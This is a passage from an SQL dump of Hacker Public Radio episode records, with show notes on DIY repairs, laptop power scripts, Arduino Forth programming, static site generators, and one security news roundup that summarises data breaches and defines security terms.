gives interpolated measurements to 0.1 mm or better.</li>\r\n<li>Vernier scale (Imperial) gives interpolated measurements in fractions of an inch.</li>\r\n<li>Retainer: used to block movable part to allow the easy transferring of a measurement.</li>\r\n</ol>\r\n',30,0,0,'CC-BY-SA','Vernier Caliper,measurement',0,0,1),
(3565,'2022-04-01','Heavy Hacking down in the quarry. ',468,'How to adjust a toggle plate on a MOBICAT MC 120 PRO Jaw Crusher','<p>Another trip down the quarry with Marshall aka Timtimmy. Today he\'s changing the toggle plate on a MOBICAT MC 120 PRO Jaw Crusher. We\'ve already covered it before but there is a brief refresher about the hydraulic, and pneumatic systems before we get to changing the plate itself. As always be sure you follow the safety instructions provided by the manufacturer.</p>\r\n\r\n<p>\r\n<img width=\"70%\" src=\"/eps/hpr3565/IMG_20220328_165606.jpg\" alt=\"Photo of the MOBICAT MC 120 PRO Jaw Crusher\" />\r\n</p>\r\n<p>\r\n<img width=\"70%\" src=\"/eps/hpr3565/IMG_20220328_165709.jpg\" alt=\"Photo of the MOBICAT MC 120 PRO Jaw Crusher\" />\r\n</p>\r\n\r\n<h3>Links</h3><ul><li><a href=\"https://www.wirtgen-group.com/ocs/en-in/kleemann/mc-120-pro-138-p/\">MOBICAT MC 120 PRO Jaw Crusher</a></li><li><a href=\"https://www.terex.com/evoquip/en/product/bison/bison-120\">Bison 120 Jaw Crusher</a></li><li><a href=\"https://www.hse.gov.uk/pubns/books/l118.htm\">Health and safety at quarries. The Quarries Regulations 1999. Approved Code of Practice </a></li><li><a href=\"https://en.wikipedia.org/wiki/British_Standard_Whitworth\">British Standard Whitworth (BSW)</a></li></ul>',392,0,0,'CC-BY-SA','quarry,hacking,Health and Safety',0,0,1),
(3536,'2022-02-21','Laptop power problems',1398,'This is a story of a laptop with two power problems.','<p>This is a story of a laptop with two power problems.</p>\r\n<p>The first and less severe is that sometimes the charging of the battery will get stuck at a certain percentage. This is not simply due to the effect commonly found with aging batteries but a fault with the laptop\'s charging hardware. A full reset of the charging system can fix it, which for this ASUS Zenbook UX550vd laptop requires a long press &#x2014; meaning 40 seconds &#x2014; from its shutdown state.</p>\r\n<p>The second and more serious issue is that the laptop thinks that it is plugged into AC power even when it is running only on battery. I ruled out an operating system or software issue because the issue remains whether running GNU/linux or Windows. The problem is serious because the power management software, in my case in KDE, will not respond to critically low battery levels by suspending or gracefully shutting down. It may be that a sudden loss of power damaged the previous SSD in this laptop, which was the subject of <a href=\"https://hackerpublicradio.org/eps.php?id=3428\">HPR 3428</a>.</p>\r\n<p>My first attempt to fool KDE into seeing accurate battery information under <code>/sys/class/power_supply/BAT0</code> using an overlay filesystem failed presumably because KDE\'s power system is listening out for some kind of event rather than simply monitoring those files. My second and successful attempt involved writing my own bash scripts run by cron to monitor battery levels and initiate actions when they got too low. There were errors with comedic consequences along the way. In fact, while writing these shownotes after I finished recording the audio, the laptop suspended itself because of a bug in my script - I used <code>le</code> (less than or equal to) rather than <code>lt</code> (less than) in my test for a change in the battery charge leading to unintended and fun consequences when the battery was fully charged.</p>\r\n',268,0,0,'CC-BY-SA','laptop,linux,power',0,0,1),
(3647,'2022-07-26','Weekend projects',1004,'Rho`n rambles about some weekend projects','<h1>Synopsis</h1>\r\n\r\n<p>In this episode, Rho`n rambles about some recent weekend repair projects. The main focus of this episode is fixing a bent patio table umbrella pole, along with his attempts to fix a punctured basketball. There are some successes, some failures, and some side stories along the way.</p>\r\n<style>\r\ndiv#figures {\r\n display: flex;\r\n flex-direction: row;\r\n flex-wrap: wrap;\r\n justify-content: center;\r\n}\r\ndiv#figures figcaption { max-width: 490px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n<div id=\"figures\">\r\n<figure>\r\n <a href=\"./eps/hpr3647/01.jpg\"><img src=\"./eps/hpr3647/01-sm.jpg\"\r\n alt=\"Initial fixed umbrella pole.\"></a>\r\n <br>\r\n <figcaption>Intial fix using 1.25\" dowel rod and wood screws.</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"./eps/hpr3647/02.jpg\"><img src=\"./eps/hpr3647/02-sm.jpg\"\r\n alt=\"Fixed pole with epoxy resin wrap\"></a>\r\n <br>\r\n <figcaption>Fixed pole with epoxy resin wrap.</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"./eps/hpr3647/03.jpg\"><img src=\"./eps/hpr3647/03-sm.jpg\"\r\n alt=\"Fixed pole in regular standing position\"></a>\r\n <br>\r\n <figcaption>Fixed pole in regular position.</figcaption>\r\n</figure>\r\n</div>\r\n',293,0,0,'CC-BY-SA','diy, repairs, umbrella, basketball',0,0,1),
(3858,'2023-05-17','The Oh No! News.',873,'Sgoti talks about Toyota\'s data leak and more, on the Oh No! News.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><p><strong>Threat analysis; your attack surface.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.ic3.gov/Media/Y2023/PSA230407\"\ntitle=\"...coerce sextortion victims into paying for their services.\">For-Profit\nCompanies Charging Sextortion Victims for Assistance and Using Deceptive\nTactics to Elicit Payments.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> FBI Internet Crime Complaint Center. (2023,\nApr 7).<br />\n</li>\n<li>The companies use deceptive tactics&#x2014;including threats, manipulation,\nand providing false information&#x2014;to coerce sextortion victims into paying\nfor their services. Some of the services for which the companies charge\nfees, such as sending the perpetrators cease and desist orders, make\nvictims feel better but are not legally enforceable. The companies may\nalso attempt to discourage victims from reporting the sextortion to law\nenforcement. Limited reporting indicates the companies are directly or\nindirectly involved in the sextortion activity.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/former-ubiquiti-dev-who-extorted-the-firm-gets-six-years-in-prison/\"\ntitle=\"Attempting to extort his employer.\">Former Ubiquiti dev who\nextorted the firm gets six years in prison.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>.\n(2023, May 11).<br />\n</li>\n<li>Nickolas Sharp, a former senior developer of Ubiquiti, was sentenced\nto six years in prison for stealing company data, attempting to extort\nhis employer, and aiding the publication of misleading news articles\nthat severely impacted the firm\'s market capitalization.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/toyota-car-location-data-of-2-million-customers-exposed-for-ten-years/\"\ntitle=\"Misconfiguration of the cloud environment.\">Toyota: Car location\ndata of 2 million customers exposed for ten years.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>.\n(2023, May 12).<br />\n</li>\n<li>Toyota Motor Corporation disclosed a data breach on its cloud\nenvironment that exposed the car-location information of 2,150,000\ncustomers for ten years, between November 6, 2013, and April 17,\n2023.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.gov.uk/government/news/failure-to-comply-with-bus-open-data-regulations-leads-to-financial-penalty-for-operator\"\ntitle=\"Financial penalty under section 155 of the Transport Act 2000.\">Failure\nto comply with Bus Open Data regulations leads to financial penalty for\noperator.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> Traffic Commissioners for Great Britain.\n(2023, May 4).<br />\n</li>\n<li>The Traffic Commissioner for the West Midlands, Miles Dorrington,\nimposed a financial penalty under section 155 of the Transport Act 2000\nof &#xA3;1500, based on a &#xA3;100 penalty for each of the vehicles authorised on\nthe operator&#x2019;s licence.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.ic3.gov/Media/Y2023/PSA230410\"\ntitle=\"The FBI warns of criminal actors posing as Chinese law enforcement.\">Criminals\nPose as Chinese Authorities to Target US-based Chinese\nCommunity.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> FBI Internet Crime Complaint Center. (2023,\nApr 10).<br />\n</li>\n<li>The FBI warns of criminal actors posing as Chinese law enforcement\nofficials or prosecutors in financial fraud schemes targeting the\nUS-based Chinese community. Criminals tell victims they are suspects in\nfinancial crimes and threaten them with arrest or violence if they do\nnot pay the criminals. Criminals exploit widely publicized efforts by\nthe People&#x2019;s Republic of China government to harass and facilitate\nrepatriation of individuals living in the United States to build\nplausibility for their fraud. Criminals typically call victims,\nsometimes using spoofed numbers to appear as if the call is from the\nChinese Ministry of Public Security, one of its localized Public\nSecurity Bureaus, or a US-based Chinese Consulate. Criminals may also\ncommunicate through online applications.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><p><strong>User space.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/twitter-rolls-out-encrypted-dms-but-only-for-paying-accounts/\"\ntitle=\"End-to-end encrypted DMs on Twitter.\">Twitter rolls out encrypted\nDMs, but only for paying accounts.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>\n(2023, May 11).<br />\n</li>\n<li>Twitter has launched its \'Encrypted Direct Messages\' feature\nallowing paid Twitter Blue subscribers to send end-to-end encrypted\nmessages to other users on the platform.<br />\n</li>\n<li>The private decryption key is only stored on the sender\'s device and\nis not shared with anyone else. However, the public encryption key is\nshared with others who want to send you encrypted data.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/discord-discloses-data-breach-after-support-agent-got-hacked/\"\ntitle=\"third-party support agent was compromised.\">Discord discloses\ndata breach after support agent got hacked.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a>. (2023, May 12).<br />\n</li>\n<li>Discord is notifying users of a data breach that occurred after the\naccount of a third-party support agent was compromised.<br />\n</li>\n<li>The security breach exposed the agent\'s support ticket queue, which\ncontained user email addresses, messages exchanged with Discord support,\nand any attachments sent as part of the tickets.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.<br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a><br />\n</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a><br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a><br />\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','Ubiquiti dev, Toyota, Sextortion, Twitter, Discord',0,0,1),
(3549,'2022-03-10','Linux Inlaws S01E51: git and static site generators',3206,'git and static site generators','<p> Another fortnight, another episode of our beloved podcast called Linux\r\nInlaws :-). What starts as an episode on the history of Central Europe and the\r\nrole of the Netherlands and Germany in the greater scheme of things rapidly\r\nmoves sideways into a discussion of git-powered static HTML website generators\r\nin contrast to context management systems (CMSs) and their advantages,\r\ndisadvantages and why the hell even think about this. Chris uses an innocent\r\n(?) Linux User Group (LUG) as an example for a successful site migration from\r\na Python-powered CMS to a version of the website based on a static site\r\ngenerator written in Go and called Hugo. Even if you may find this boring to\r\ntears stay tuned as there may be an unexpected ending of this ditty in the\r\nshape of two interesting poxes... </p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>CMS: <a href=\"https://en.wikipedia.org/wiki/Content_management_system\" target=_blank>https://en.wikipedia.org/wiki/Content_management_system</a></li>\r\n<li>Adam and Eve: <a href=\"https://www.adam-and-eve.org\" target=_blank>https://www.adam-and-eve.org</a></li>\r\n<li>MoinMoin: <a href=\"https://moinmo.in\" target=_blank>https://moinmo.in</a></li>\r\n<li>WordPress: <a href=\"https://wordpress.org\" target=_blank>https://wordpress.org</a></li>\r\n<li>PEP 404: <a href=\"https://www.python.org/dev/peps/pep-0404\" target=_blank>https://www.python.org/dev/peps/pep-0404</a></li>\r\n<li>Python Enhancement Proposals: <a href=\"https://www.python.org/dev/peps\" target=_blank>https://www.python.org/dev/peps</a></li>\r\n<li>Static site generators (overview): <a href=\"https://kinsta.com/blog/static-site-generator\" target=_blank>https://kinsta.com/blog/static-site-generator</a></li>\r\n<li>Linux User Group Frankfurt: <a href=\"https://lugfrankfurt.de/en/Home\" target=_blank>https://lugfrankfurt.de/en/Home</a></li>\r\n<li>Gitea: <a href=\"https://gitea.io/en-us\" target=_blank>https://gitea.io/en-us</a></li>\r\n<li>HUGO: <a href=\"https://gohugo.io\" target=_blank>https://gohugo.io</a></li>\r\n<li>HUGO source code: <a href=\"https://github.com/gohugoio/hugo\" target=_blank>https://github.com/gohugoio/hugo</a></li>\r\n<li>Git (web)hooks: <a href=\"https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks\" target=_blank>https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks</a></li>\r\n<li>Reacher: <a href=\"https://en.wikipedia.org/wiki/Reacher_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Reacher_(TV_series)</a></li>\r\n<li>The Comeback Trail: <a href=\"https://www.imdb.com/title/tt5420210/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt5420210/?ref_=nv_sr_srsg_0</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','git, content management systems, MoinMoin, HUGO, static site generators, HPR, PEPs, gitea, Reacher',0,0,1),
(3543,'2022-03-02','Idle thoughts on web browsers',476,'and a call for your own on the same','<p>Mentioned in this episode were:</p>\r\n<p>Sweet Maria\'s Coffee: Personal Brewing Routines &amp; The Weirdness of Coffee Culture <br />\r\n<a href=\"https://sweetmarias.libsyn.com/personal-brewing-routines-the-weirdness-of-coffee-culture\">https://sweetmarias.libsyn.com/personal-brewing-routines-the-weirdness-of-coffee-culture</a></p>\r\n<p>Hacker Public Radio 3273: Embrace Firefox, by Some Guy On The Internet <br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3273\">https://hackerpublicradio.org/eps.php?id=3273</a></p>\r\n<p>To contribute your own idle thoughts in voice message form, join #thoughtsonbrowsers:matrix.org and leave your voice message. Then join #hpr:matrix.org and say hello.</p>\r\n',399,0,1,'CC-BY-SA','browsers,firefox,qutebrowser,tridactyl',0,0,1),
(3537,'2022-02-22','getting to blinky with flashforth',1708,'making an arduino board useful','<ul>\r\n<li>intro <a href=\"https://www.paypal.com/donate/?item_name=Donation+to+FlashForth%3A+for+PIC+and+Atmega&amp;cmd=_donations&amp;business=mikael.nordman%40flashforth.com\">Donation link</a></li>\r\n<li>what you\'ll need\r\n<ul>\r\n<li>hardware\r\n<ul>\r\n<li>arduino uno or nano</li>\r\n<li>programmer<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2799\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2799</a></li>\r\n<li>cables</li>\r\n</ul></li>\r\n<li>software\r\n<ul>\r\n<li>flashforth <a href=\"https://www.sourceforge.net/projects/flashforth\" class=\"uri\">https://www.sourceforge.net/projects/flashforth</a></li>\r\n<li>avrdude <a href=\"https://www.nongnu.org/avrdude/\" class=\"uri\">https://www.nongnu.org/avrdude/</a></li>\r\n<li>terminal program<br />\r\nemacs: M-x serial-term</li>\r\n</ul></li>\r\n<li><a href=\"https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-7810-Automotive-Microcontrollers-ATmega328P_Datasheet.pdf\">datasheet</a></li>\r\n</ul></li>\r\n<li>the install\r\n<ul>\r\n<li>the guide <a href=\"https://flashforth.com/atmega.html\" class=\"uri\">https://flashforth.com/atmega.html</a></li>\r\n<li>did it work?\r\n<ul>\r\n<li>troubleshooting\r\n<ul>\r\n<li>check connections</li>\r\n<li>permission issues</li>\r\n<li>set fuses separately, one at a time</li>\r\n<li>double checkterminal baud rate</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>hello-world</li>\r\n</ul>\r\n<pre><code>: hw1 .&quot; Hello, world!&quot; ;\r\n: led-on %00100000 PORTB mset ;\r\n: led-off %00100000 PORTB mclr ;\r\n: flash-led begin led-on #1000 ms led-off #1000 ms again ;</code></pre>\r\n',326,0,0,'CC-BY-SA','arduino, forth',0,0,1),
(3786,'2023-02-06','HPR Community News for January 2023',2881,'HPR Volunteers talk about shows released and comments posted in January 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0415.html\" target=\"_blank\">enistello</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3761\" target=\"_blank\">3761</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3761\" target=\"_blank\">HPR Community News for December 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3762\" target=\"_blank\">3762</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3762\" target=\"_blank\">Existence is pain</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3763\" target=\"_blank\">3763</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3763\" target=\"_blank\">The Baader-Meinhof Phenomenon</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3764\" target=\"_blank\">3764</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3764\" target=\"_blank\">My text-focused journey into tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0415.html\" target=\"_blank\">enistello</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3765\" target=\"_blank\">3765</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3765\" target=\"_blank\">Fixing clock events in GBA pokemon cartridges</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3766\" target=\"_blank\">3766</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3766\" target=\"_blank\">ACER Nitro 5 laptop review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3767\" target=\"_blank\">3767</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3767\" target=\"_blank\">LP article from Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3768\" target=\"_blank\">3768</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3768\" target=\"_blank\">Jeep Ignition Repair</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0408.html\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3769\" target=\"_blank\">3769</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3769\" target=\"_blank\">Crouching laptop, hidden server (part 0).</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3770\" target=\"_blank\">3770</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3770\" target=\"_blank\">Tucson</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3771\" target=\"_blank\">3771</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3771\" target=\"_blank\">How I eliminated pain naturally</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0383.html\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3772\" target=\"_blank\">3772</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3772\" target=\"_blank\">Adventures with a small solar panel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3773\" target=\"_blank\">3773</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3773\" target=\"_blank\">My Public Speaking Rules</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike 